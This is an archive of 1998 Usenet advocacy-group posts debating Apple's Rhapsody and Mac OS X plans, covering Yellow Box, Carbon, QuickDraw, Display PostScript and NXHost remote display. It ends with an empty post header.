From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: Fri, 15 May 1998 23:42:01 -0700
Message-ID: <see-below-1505982342020001@209.24.241.97>
References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk> <zi461.1949$sy4.3542379@news.rdc1.sdca.home.com> <EsvxtF.7G0@micmac.com> <see-below-1305982328510001@209.24.241.190> <355B1D3F.27453C81@nospam.com> <see-below-1405982250180001@209.24.240.162> <355C32EB.EEC7D4F@milestonerdl.com>
In article <355C32EB.EEC7D4F@milestonerdl.com>, mark@milestonerdl.com wrote:
> Matthew Vaughan wrote:
>
> > Exactly. What I mean is: if Apple intends to abandon Yellow Box for Intel,
> > and already knows that Mac developers aren't keen on moving over to it
> > despite its advantages, why would they keep working on Yellow Box at all?
>
> Because Apple is hoping to grow its marketshare by getting cross-platform
> developers to sign on to YellowBox development. Then, make them MacOS X
> developers via dropping support for the NT 5 platform. If you want to be
> supported, move to PPC will be the offer.
That's crazy. Nobody counting on Yellow Box as a cross platform soltion is
going to stick around if Apple pulls support for 95% of their market. That
would kill the entire Macintosh market in a stroke.
Besides which, it will take years to even get to that point. So in order
for your strategy to even get off the ground, Apple will have to ship
Yellow Box for Windows, and Rhapsody for Intel, for the next five years at
least. Which means that they _won't_ be abandoning it any time soon, and
it would by definition have to have become the preferred development
environment before dropping it would leave enough cross-platform apps
available on OS X...
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: nagle@netcom.com (John Nagle)
Subject: Re: OSX - What I See vs What I Want
Message-ID: <nagleEt1DyG.5qM@netcom.com>
Organization: Netcom On-Line Services
References: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net> <6javob$tpe$1@reader1.reader.news.ozemail.net> <35590EE4.9858E645@unet.univie.ac.at> <rkt1-1305981646450001@cu-dialup-0423.cit.cornell.edu> <355A14F6.3A0CD0CB@unet.univie.ac.at> <rkt1-1405980303590001@cu-dialup-0227.cit.cornell.edu> <see-below-1405980102500001@209.24.241.190> <355af407.0@206.25.228.5> <rmcassid-1405981211310001@dante.eng.uci.edu>
Date: Sat, 16 May 1998 06:27:52 GMT
Sender: nagle@netcom6.netcom.com
rmcassid@uci.edu (Robert Cassidy) writes:
>In article <355af407.0@206.25.228.5>, jkheit@xtdl.com wrote:
>>I disagree to some extent. To me it seems like some mac users not
>>only dont want unix, but they don't want others to be able to use
>>it if they don't. Heaven forbid (i.e. apple) if others might
>>actually make use of something they don't feel like learning. So
>>in some twisted fashion and perhaps for reasons of fearing falling
>>behind in technical prowess they will begrudge others the opportunity
>>to use better technology.
Actually, there's a good reason for not having a command-line
interface at all. It's too tempting to require use of the command
line interface for "seldom-used functions". Windows and UNIX have
this problem in a big way, and one of the strengths of the Mac is
that it doesn't. Developers have to provide a GUI for everything.
The result is a better user interface.
John Nagle
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
From: nagle@netcom.com (John Nagle)
Subject: Re: The New Rhapsody (aka Mac OS X)
Message-ID: <nagleEt1EDL.687@netcom.com>
Organization: Netcom On-Line Services
References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk> <EsvxtF.7G0@micmac.com> <see-below-1305982328510001@209.24.241.190> <355B1D3F.27453C81@nospam.com> <6jfanm$73n$1@crib.bevc.blacksburg.va.us> <rex-1405981430100001@192.168.0.3> <355b49e9.0@news.depaul.edu>
Date: Sat, 16 May 1998 06:36:56 GMT
Sender: nagle@netcom6.netcom.com
Jonathan W Hendry <jhendry@shrike.depaul.edu> writes:
>Who wants to trust Microsoft in the long run?
Microsoft is actually reasonably predictable. If it advances their
goal of world domination, they'll do it. The first release will suck,
but after about three releases it will start to work OK. If they
announce something, it usually comes out. It's usually late, but
eventually it does ship.
Apple acts like a dysfunctional family. Every six months or so there's
a huge change in direction. This happens before the goals of the previous
change in direction have been achieved. You can't rely on Apple.
John Nagle
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 21:42:31 -0700
Message-ID: <see-below-1505982142310001@209.24.241.97>
References: <pulsar-ya02408000R1305981524440001@news-proxy.cso.uiuc.edu> <B1800144-FB3B5@204.31.112.110> <355AD786.FD81A010@milestonerdl.com> <see-below-1405982138030001@209.24.240.162> <6jh0fi$1cc$38@ironhorse.plsys.co.uk> <Pine.GSO.3.96.980515143039.6790B-100000@ra.bpsi.net>
In article <Pine.GSO.3.96.980515143039.6790B-100000@ra.bpsi.net>, Nick
Rezmerski <nick@bpsi.net> wrote:
> It's hard for me to tell, since I don't know all the technical
> details, but the impression I'm getting from Apple is that this
> is a re-commitment to Apple hardware.
I agree. That's what keeps them alive.
> Don't forget that when
> Rhapsody was conceived, Apple was licensing clones and pushing
> toward PPCP (CHRP) machines. Both of those roads are now closed,
> and two quarters in the black is giving Apple back its traditional
> overconfidence in the strength of its hardware/software combination.
I don't think it's overconfidence. I think it's doubtful whether they can
remain profitable by any path that threatens their hardware sales, at
least in the near term. The lack of clones not only gives them all the
Mac-compatible sales, but allows them more freedom to set gross margins
high enough for them to actually fund all these great software endeavors.
> While OS X sounds great to me in terms of features, it saddens
> me a bit because I thought we were seeing a move toward truly
> open systems and the use of emulation to support the environment
> the user likes best.
I'm not sure that that was ever a plan. Who wants to use emulation? I've
never experienced that to be a really satisfactory solution for everyday
needs.
> Now, since Apple is emboldened by its hot
> G3 line, it looks like the only way I'll ever be able to use
> MacOS is on an Apple box.
>
> I wish I could find a _direct quote_ from Jobs or Apple about
> whether OS X will definitely be G3-only or if that is yet to
> be decided. I can't help but wonder how they would limit the
> OS that way, since Motorola's specs say the 740/750 are
> "software and bus compatible" with the 603/604 line.
>
> Jobs' statement about "not supporting other platforms" with
> OS X is frustrating, I can't seem to find out whether he means
> non-G3 platforms, non-PPC platforms, non-Apple platforms, or what!
I assume he meant PPC-only, as in "not on Intel." As for G3 vs older
chips, I think it's more a motherboard issue, and they'll try to support
as much hardware as possible, but just don't know how far down the line
they'll get, and so don't want to announce anything yet.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: 16 May 1998 00:37:52 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jj570$bt1$1@crib.bevc.blacksburg.va.us>
References: <6jiaqk$6sf$4@news.xmission.com> <B1828620-F829A@208.254.112.129>
In article <B1828620-F829A@208.254.112.129>, "scott hand" <vidahand@mail.doh!.earthlink.net> wrote:
> On Fri, May 15, 1998 5:07 PM, Don Yacktman <mailto:don@misckit.com> wrote:
> >> Has Apple annouced that the themes and appearance stuff will apply to
> >> Yellow apps and have a Yellow API?
> >I'm not sure if it is announced anywhere, and I haven't time to track it
> >down if it does exist.
> The article this thread refers to has a picture of the appearance prefs
> panel which shows the "style" as a selection (Apple Dark Platinum in the
> picture). What more do you need?
An object oriented appearance API.
> An object oriented appearance API should
> make third party appearances trivial and plentiful,
Okay, I'd like to see them announce one. I figure they probably will,
though.
> Sorry 'bout the rant, but I get so tired of people whining about trivial
> things like icons.
I don't think the aesthetics of my UI are trivial.
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.next.advocacy
Subject: Re: "Apple please announce YB NT5/98 support, and a commitment to Mach/Rhapsody/YB on Intel"
Date: Sat, 16 May 1998 00:59:42 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1d93da2.1ec6ffu1jjlccxN@carina47.wco.com>
References: <355B510B.250023F2@milestonerdl.com>
Ali Ozer mentioned in his Yellow Box session on Tuesday that Yellow Box
for Windows works on Windows 98 Release Candidates and the Windows NT
5.0 beta.
It works on the machine in my office, too...
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Carbon features: NO Quickdraw !!
Date: Sat, 16 May 1998 01:11:32 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1d93djc.r7hr2q1ipczyaN@carina47.wco.com>
References: <6j9631$61c$1@news.tudelft.nl> <1d8xt9j.1q6dg7q11738g0N@cetus181.wco.com> <rmcassid-1305981102420001@dante.eng.uci.edu>
Robert Cassidy <rmcassid@uci.edu> wrote:
> In article <1d8xt9j.1q6dg7q11738g0N@cetus181.wco.com>, mpaque@wco.com
> (Mike Paquette) wrote:
> >This turns out not to be the case. QuickDraw is an integral element of
> >the Carbon APIs, and will see substantial enhancements for MacOS X.
>
> But is Quickdraw actually there? The confusion for some of us is whether
> the underlying managers are there or not. Either core managers of the
> MacOS are being rewritten to be reentrant and so on (seems wasteful and
> chillingly Coplandesque), or Carbon simply maps MacOS APIs to Rhapsody
> kits in a Lattitude fashion.
Yes, QuickDraw is actually there. There's not much in the way of MacOS
managers below QuickDraw. It just gets it's crayons out and blasts away
at pixmaps (on or off-screen).
Low level display and memory management services that are thread safe
are already available. (See also Rhapsody, NSDirectScreen,
NSDirectBitmap, Interceptor.) As the Blue Box team demonstrated on
Thursday, Yellow Box and Carbon apps are already co-existing on a
prototype graphics substrate.
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.next.advocacy
Subject: Re: AMP is dead!
Date: Sat, 16 May 1998 01:14:49 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1d93dt0.12zt2tg1bpklcmN@carina47.wco.com>
References: <jayfar-1405981500200001@chestnut1-27.slip.netaxs.com> <rmcassid-1405981458370001@dante.eng.uci.edu>
Robert Cassidy <rmcassid@uci.edu> wrote:
> I recently saw an article on CNN.com that had a picture of a set-top box
> that looked *exactly* like the AMP one. So my guess is that the AMP
> picture, rather than being a 6100 design set-top derivative from years
> gone by (think about how big a 6100 is for a moment) is probably just some
> other set-top design with an Apple logo plastered on it
Bingo! I found that picture at Apple Recon to be particularly amusing,
as I have a remarkably similar looking DVD player, except for that
PhotoShop applied logo. I thought it was a hoot.
By the way, AMP stands for Apple Media Program, a quarterly CDROM
publication produced by Apple for the Macintosh creative arts community.
The Recon yutz needs to back of on his speed-reading a bit and do a bit
more research.
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.next.advocacy
Subject: Re: OpenStep for Windoze $20?
Date: Sat, 16 May 1998 01:14:56 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1d93eff.1syfuut1k1xiwfN@carina47.wco.com>
References: <6jboq5$eua$9@news.idiom.com> <6jchqg$1cc$21@ironhorse.plsys.co.uk> <slrn6ljskk.p80.sal@panix3.panix.com> <3559F5D4.96E43F72@unet.univie.ac.at> <slrn6lkdcp.o39.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6jdenk$53h$3@news.xmission.com> <355af7e5.0@206.25.228.5> <355B49C0.10D34097@unet.univie.ac.at> <355b5409.0@206.25.228.5> <6jfkuq$gn2$1@cronkite.cygnus.com> <355B6B90.AD8F648F@milestonerdl.com> <6jg1d0$gn2$2@cronkite.cygnus.com> <355C5789.3595A31@milestonerdl.com> <6jhp8b$ac4$1@crib.bevc.blacksburg.va.us>
Just to clarify something for everyone. GhostScript is NOT under the
GNU General license. It may be freely redistributed only for
non-commercial use. Aladdin (L. Peter Deusch's most excellent company,
not the compression dudes) sells licenses for commercial use, as well as
providing consulting services (plug, plug...).
The current licensing model in the PostScript interpreter biz is to
charge per-unit royalties. Per-unit royalities make it difficult to put
software on FTP servers, what with third party mirroring sites and all.
How does one track all those licenses, and collect the royalties?
(Think about the recent complaints about $1/copy QuickTime...)
--
Mike Paquette mpaque@wco.com
"Struggling Apple Computer" and the "Struggling Apple" logo are
trade and service marks of Apple Computer, Inc.
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: Sat, 16 May 1998 01:15:00 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1d93f0c.1rp62nqawhj9yN@carina47.wco.com>
References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk> <zi461.1949$sy4.3542379@news.rdc1.sdca.home.com> <EsvxtF.7G0@micmac.com> <see-below-1305982328510001@209.24.241.190> <355B1D3F.27453C81@nospam.com> <6jfanm$73n$1@crib.bevc.blacksburg.va.us> <rex-1405981430100001@192.168.0.3> <6jferk$7e2$1@crib.bevc.blacksburg.va.us> <rex-1405981551520001@192.168.0.3> <6jfn43$7r8$1@crib.bevc.blacksburg.va.us> <B180C072-D5287@206.165.43.181>
Lawson English <english@primenet.com> wrote:
> YB is, if not dead, seriously injured.
This turns out not to be the case.
> So unless Mike Paquette pulls a rabbit out of his hat and provides GX-level
> graphics for Carbon, high-end graphics developers for MacOS no longer have
> a high-end graphics engine that will work on both low-end and high-end
> Macintoshes.
Be vewwy quiet, I'm gwabbing a wabbit right now...
> A light dawns: Adobe and Macromedia get to rule the high-end and low-end of
> MacOS because no serious graphics developer will be able to compete on
> MacOS 8.5 AND MacOS X using the graphics tools available in Carbon and DPS
> won't be available for MacOS 8.5 users because YB won't be.
Oh oh. He has discovered our (fnord) secret. The Secret Masters will
have to tend to Lawson before the Thetan engrams immantize.
> GX dies and DPS is rendered impotent.
I could slip it some Viagra...
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: rhapsody dr2 for intel??!??!??!
Date: Sat, 16 May 1998 01:15:02 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1d93fdy.kxobnsuidra7N@carina47.wco.com>
References: <6jdlds$o2o$2@newsfep4.sprintmail.com> <355A8F10.1D5858B4@unet.univie.ac.at> <see-below-1405980105050001@209.24.241.190> <6jf0bk$3d2$2@diana.bcn.ibernet.es> <6jfnhh$15o$2@msunews.cl.msu.edu> <6jh84t$c6u$1@diana.bcn.ibernet.es> <6jhn9a$a1e$1@crib.bevc.blacksburg.va.us>
Nathan Urban <nurban@crib.bevc.blacksburg.va.us> wrote:
> Waiting for more drivers to get written maybe? Or perhaps they focused
> their QA efforts on the PPC version first and now have to validate the
> Intel version.
Bingo.
--
Mike Paquette mpaque@wco.com
I'm not an officer, spokesperson, or high muckety-muck of Apple
Computer. I don't speak for Apple, and they don't speak for me.
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Sat, 16 May 1998 01:15:05 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1d93gn8.fhjfyy1knrztwN@carina47.wco.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <pulsar-ya02408000R1205981246010001@news-proxy.cso.uiuc.edu> <3559A517.5562EE28@sys.uea.ac.uk> <6jcm9j$1cc$28@ironhorse.plsys.co.uk> <ericb-1405981233430001@132.236.171.104> <6jh0vv$1cc$40@ironhorse.plsys.co.uk> <B181D674-70D08@206.165.43.138>
Lawson English <english@primenet.com> wrote:
> It completely ignores the issues that GX addresses and provides far fewer
> features.
>
> Now THAT is nauseating.
Yeah. It really sucks that MacOS programmers won't have to adapt a
whole new API just to rotate some text. And what a pain in the arse it
will be to use the same code to produce high quality screen, raster
printer, and PostScript printer output without using those pict
comments. And direct PDF generation; good grief, can't these modern
programmers do anything themselves?
Nauseating indeed. Why, in my day we had to do graphics with nothing but
ones and zeros. And some days we didn't have any zeros!
--
Mike Paquette mpaque@wco.com
I'm not an officer, spokesperson, or high muckety-muck of Apple
Computer. I don't speak for Apple, and they don't speak for me.
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Sat, 16 May 1998 01:15:08 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1d93hzz.1i4zmy3bnrdb1N@carina47.wco.com>
References: <B17C8D50-7E886@206.165.43.134> <6j83mg$1cc$2@ironhorse.plsys.co.uk> <B17D23E3-9037@206.165.43.13> <3557DDE0.4333CCA0@trilithon.com> <1d8yqsc.1875mjiash37cN@desktop.tom-e.private> <B17FA88B-D17A@206.165.43.138> <tbrown-1405982230070001@mv079.axom.com> <B1810BBB-15F43@206.165.43.99> <6ji1qc$1cc$47@ironhorse.plsys.co.uk>
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> In <B1810BBB-15F43@206.165.43.99> "Lawson English" wrote:
>
> > PS graphics sans PS language is Bravo.
> >
> No, it could also be PDF.
> Like they said it's going to be.
PDF is the preferred graphics metafile format. It nicely encapsulates
the imaging model, and it is currently rapidly rising in acceptance in
the prepress industry.
--
Mike Paquette mpaque@wco.com
"Struggling Apple Computer" and the "Struggling Apple" logo are
trade and service marks of Apple Computer, Inc.
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: Sat, 16 May 1998 01:15:11 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1d93i5s.j9yt2b1qeo9pfN@carina47.wco.com>
References: <355bc985.0@206.25.228.5> <6jgq6j$5us@sjx-ixn10.ix.netcom.com> <6jgsjt$93u$1@crib.bevc.blacksburg.va.us> <1998051512561800.IAA17653@ladder01.news.aol.com> <6jhne8$a2b$1@crib.bevc.blacksburg.va.us> <6ji6gt$n8h$4@msunews.cl.msu.edu>
<spammers@ruin.the.internet.channelu.com> wrote:
> Maybe Apple will get smart and put the NeXTStep GUI back (new and
> improved) into the Rhapsody Server. Problem is that DPS is going to be
> gone and Apple will want to maintain same component codebases for MacOS X
> and Rhapsody if they can..
The UI and assorted policies are all doen in the Yellow Box AppKit. The
server is policy and UI agnostic (almost 'mechanism, not policy').
The AppKit downloads some of it's policy stuff into the server as a
PostScript package for performance reasons.
> MIke P is notoriously silent on this so far. ;)
Wot? 700 posts a day going by, I'm going 20 hours a day, and you want
to complain because I don't see and respond to the drivel in this group
right away? I'm not Lawson; I have work to do.
--
Mike Paquette mpaque@wco.com
I'm not an officer, spokesperson, or high muckety-muck of Apple
Computer. I don't speak for Apple, and they don't speak for me.
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Sat, 16 May 1998 03:13:59 -0500
Organization: KAOS
Message-ID: <199805160313591502954@sdn-ts-003txhousp16.dialsprint.net>
References: <355B365F.929E049D@spamtoNull.com> <B1809773-7F1C1@207.217.155.114> <355C9631.C99DEE0E@spamtoNull.com>
Jonathan Harker wrote:
> I was a big blue box fan when the concept was first announced and
> explained. I still am. I think the
> blue-box-for-legacy-compatibility/Rhapsody-for-the-future was a *great*
> plan. I think that properly implemented, it would have worked.
This is funny. I don't think I've seen you say anything positive about
Apple or its plans since I started reading your posts. For one who
talks as if he knows the future, it is ironic that you praise Apple for
a good idea only in hindsight. (Of course, the Rhapsody you bemoan
above is slated to ship next quarter, though I'm sure you will find it
not "properly implemented.")
[snip of issues that are already overdone in these NGs]
--
John Bauer
<remove NOT from email address above, just like the spammers do>
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Sat, 16 May 1998 03:14:01 -0500
Organization: KAOS
Message-ID: <199805160314011503060@sdn-ts-003txhousp16.dialsprint.net>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <6j82vd$1cc$1@ironhorse.plsys.co.uk> <ericb-1505981824260001@132.236.171.104>
Eric Bennett wrote:
> I agree that developers share much of the blame. But it comes full circle
> when you realize that a lot of developers don't embrace new Apple
> technologies because Apple has burned them so many times in the past. In
> that respect Apple certainly shares some blame. Apple needed to make a
> strong case that this time things would be different. They didn't do
> that.
If you choose to see Carbon as a tacit admission that Yellow Box is a
failure, then yes, Apple gave a weak case for trusting them. If you
choose to see Carbon as a response to justified developer skittishness
about radical new Apple technologies like Yellow Box, then Apple
bolstered its position by making Yellow Box more mainstream and
compatible with legacy Mac apps. I see the glass as (more than) half
full.
[Please, no flames re Yellow Box being a radical new Apple technology.
I know full well how old it is and from whence it came.]
> I would love to see them port ClarisWorks/AppleWorks to YB as a
> demonstration of the power of YB in a cross-platform world. ClarisWorks
> was to have been the demo product for OpenDoc, but it was scrapped.
Good idea. Maybe with AppleWorks now an internal product, this can
happen.
--
John Bauer
<remove NOT from email address above, just like the spammers do>
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Sat, 16 May 1998 03:14:03 -0500
Organization: KAOS
Message-ID: <199805160314031503212@sdn-ts-003txhousp16.dialsprint.net>
References: <ericb-1105981718430001@132.236.171.104> <6j7t4a$v9r$1@crib.bevc.blacksburg.va.us> <6j9d8c$ft4$1@larry.admin.phil.uu.nl> <6j9egu$19r$1@crib.bevc.blacksburg.va.us> <6j9lrd$gl7$1@larry.admin.phil.uu.nl> <slrn6lgo9c.l2e.sal@panix3.panix.com> <6jcf2d$iu2@newsb.netnews.att.com> <ericb-1405981303550001@132.236.171.104> <355b3e7c.0@news.depaul.edu> <ericb-1505981810420001@132.236.171.104>
Eric Bennett wrote:
> Apple used to have a projected shipping date for "Rhapsody CR2".
*Maybe* internally, but never officially -- unless you are referring to
Rhapsody Unified, in which case the shipping date was mid-98 and is now
(for the comparable, officially-labeled CR1) Q3 98 (more or less the
same).
--
John Bauer
<remove NOT from email address above, just like the spammers do>
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Sat, 16 May 1998 03:14:06 -0500
Organization: KAOS
Message-ID: <199805160314061503384@sdn-ts-003txhousp16.dialsprint.net>
References: <ericb-1105981718430001@132.236.171.104> <1d8xsi0.kqhkhi73wgzsN@cetus181.wco.com> <6jbg5p$3fg$1@crib.bevc.blacksburg.va.us> <andyba-ya02408000R1305981555450001@news> <6jdaui$5bc$1@crib.bevc.blacksburg.va.us> <6jeqlq$1hv$1@nnrp1.dejanews.com> <6jfbjs$76e$1@crib.bevc.blacksburg.va.us> <895179379.806734@kelp.mbay.net> <B180C661-12F863@207.217.155.114> <6jg26g$89f$1@crib.bevc.blacksburg.va.us> <ericb-1505981808160001@132.236.171.104> <6jiinl$bg2$1@crib.bevc.blacksburg.va.us>
Nathan Urban wrote:
> Eric Bennett wrote:
>
> > When it ships is not what's relevant as far as software sales for programs
> > using YB. What's important is when it gets into end users' hands in mass
> > quantities, which probably won't happen until OS X ships (and trying to
> > figure out when that will be is risky).
>
> There isn't any more of a risk than there was before, and people were still
> planning to develop for YB. Of course, I agree, the market won't become
> large until after OS X ships.
Actually, there is *less* risk now, as YB will likely ship with every
new Mac come late 99 vs. Rhapsody shipping to an elite few who needed or
desired its added value.
--
John Bauer
<remove NOT from email address above, just like the spammers do>
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Sat, 16 May 1998 03:14:08 -0500
Organization: KAOS
Message-ID: <199805160314081503496@sdn-ts-003txhousp16.dialsprint.net>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <ericb-1105981859560001@132.236.171.104> <35579cfb.0@news.depaul.edu> <ericb-1505981740050001@132.236.171.104>
Eric Bennett wrote:
> The Apple BOD is what keeps changing the CEOs and sanctioning the strategy
> shifts.
The BOD changed significantly when Jobs arrived, most notably in the
departure of Markkula. So far I don't see that Jobs has dramatically
shifted any strategies that he himself has initiated. This doesn't
excuse Apple's poor management of the past, or necessarily imply
stability now, but at least it offers the possibility that the era of
constant change is over.
--
John Bauer
<remove NOT from email address above, just like the spammers do>
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Sat, 16 May 1998 03:14:10 -0500
Organization: KAOS
Message-ID: <199805160314101503615@sdn-ts-003txhousp16.dialsprint.net>
References: <6jbg4l$qi3$2@canopus.cc.umanitoba.ca> <6jcn9b$6ns$2@msunews.cl.msu.edu> <3559DA0F.8F00D835@milestonerdl.com> <6jd4f5$ehq$1@nnrp1.dejanews.com> <355A171A.4F4F20C8@milestonerdl.com> <6ji63i$1cc$48@ironhorse.plsys.co.uk>
mmalcolm crawford wrote:
> I've stated elsewhere I'm willing to lay $100 on YB running on Win98 within a
> year of it shipping.
>
> Put up or shut up.
>
> I'd offer the same for NT5, but who knows when that would ship. $100 may not
> be worth fighting over by the time NT5 arrives.
How about 100 Euros? ;-)
--
John Bauer
<remove NOT from email address above, just like the spammers do>
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: Sat, 16 May 1998 03:14:16 -0500
Organization: KAOS
Message-ID: <199805160314161503980@sdn-ts-003txhousp16.dialsprint.net>
References: <355bc985.0@206.25.228.5> <6jhcc7$1cc$43@ironhorse.plsys.co.uk> <6jhp08$5he@ragnarok.en.uunet.de> <6jhvgs$6sf$1@news.xmission.com> <6ji0m0$at4$1@crib.bevc.blacksburg.va.us> <6jiaqk$6sf$4@news.xmission.com> <B1828620-F829A@208.254.112.129> <6jj570$bt1$1@crib.bevc.blacksburg.va.us> <355CA9E5.44F6@earthlink.net>
Steve Kellener wrote:
> When you tear off a menu, will the menubar go away?
I know this isn't very helpful (no URL, faulty memory), but I know I
read somewhere recently about an option to make the menubar disappear.
Maybe this is in Allegro (aka Mac OS 8.5), but if so, I'm sure it will
make its way to Rhapsody/OS X as well.
--
John Bauer
<remove NOT from email address above, just like the spammers do>
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer,comp.sys.mac.programmer
Subject: NSHosting and MacOS X
Followup-To: comp.sys.next.advocacy
Date: Sat, 16 May 1998 01:16:11 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1d93iik.1l170dz8etsaxN@carina47.wco.com>
There has been some concern expressed over MacOS X and the loss of the
NXHost capability. I'd like to clear a few things up.
NX/NS Host Operation
NXHost works by redirecting the PostScript binary object stream to a
PostScript interpreter running in a Window Server on a different machine
than the current application. A PostScript interpreter is required to
process this stream.
MacOS X will not require a PostScript interpreter. One will not be
present in the base system. Therefore, one cannot reasonably process
the existing NSHost protocol to a MacOS X system.
Remote Display and operation
Remote display and operation of Mac systems is an important capability,
which in the past has been addressed by third party applications. I
realize the importance of this capability to the developer, educational,
and enterprise communities. I am very interested in providing this
capability.
Please note, however, that there have to be priorities. Apple must
deliver on the promised core functionality in MacOS X in a timely
manner. Additional features such as remote display will be given all
due consideration, but cannot be promised for the initial release of the
software. Room for expansion in future directions such as this will be
considered during the design and implementation process.
What You Can Do
If you are a MacOS developer, get and run the Carbon Dater from
devworld.apple.com. Check out your code and get it Carbon-ready.
If you've been patching traps to do remote display, please write up a
short blurb on what you've been patching, and what functionality you are
looking for. The engineering team will try to provide the needed
functionality for you. Send this information to carbon@apple.com.
--
Mike Paquette
MacOS X Graphics Subsystems
From: Jay Martin <bazaar@best.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Sat, 16 May 1998 01:19:11 -0700
Organization: Bazaar Software
Message-ID: <355D4B6A.37DF9EF7@best.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2> <ericb-1105981902130001@132.236.171.104> <35579c6d.0@news.depaul.edu> <ericb-1505981752260001@132.236.171.104> <joe.ragosta-1505981917430001@elk90.dol.net> <*johnnyc*-1505982338410001@jchristie.halifaxcable.dal.ca>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Content-Transfer-Encoding: 7bit
John Christie wrote:
> Not at all. YB could be implemented over Carbon. It was planned to
> implemented over the current MacOS and it has already been implemented
> over Windows. There is no reason it can't be ported to Carbon. It is a
> higher level API.
> Which leads me to believe that Carbon is simply a MacOS interface over
> the sublevels of the original Rhapsody implementation. All roads are
> leading to the same place and very little of the core of OpenStep is
> receiving any kind of rewrites.
>
I believe that you're referring to the graphics engine when talking about "the
sublevels of the original Rhapsody implementation" which is Display Postscript.
In a sense, you're right. DPS as a language goes away. However, the imaging
model of DPS will be added to current QuickDraw to make a much more robust
graphics engine without paying Adobe royalties. And, by the way, it is also
relatively platform independent since QuickDraw was just rewritten (Apple makes
no claims here, however).
> YB is still the object API and Carbon is a new implementation of the
> substructure of that (which was basically hidden before).
This part is not exactly accurate. YB will sit directly on top of the new
imaging model as will Carbon. They are two separate API's which, at first, have
nothing in common above the graphics engine. Someone asked at the Thursday
session that covered the graphics engine if YB and Carbon shared widgets
(buttons, sliders, etc) and the answer was no, not yet.
jay
Subject: Rhapsody/Intel is Dead Too!
Newsgroups: comp.sys.next.advocacy
From: akira@home.com
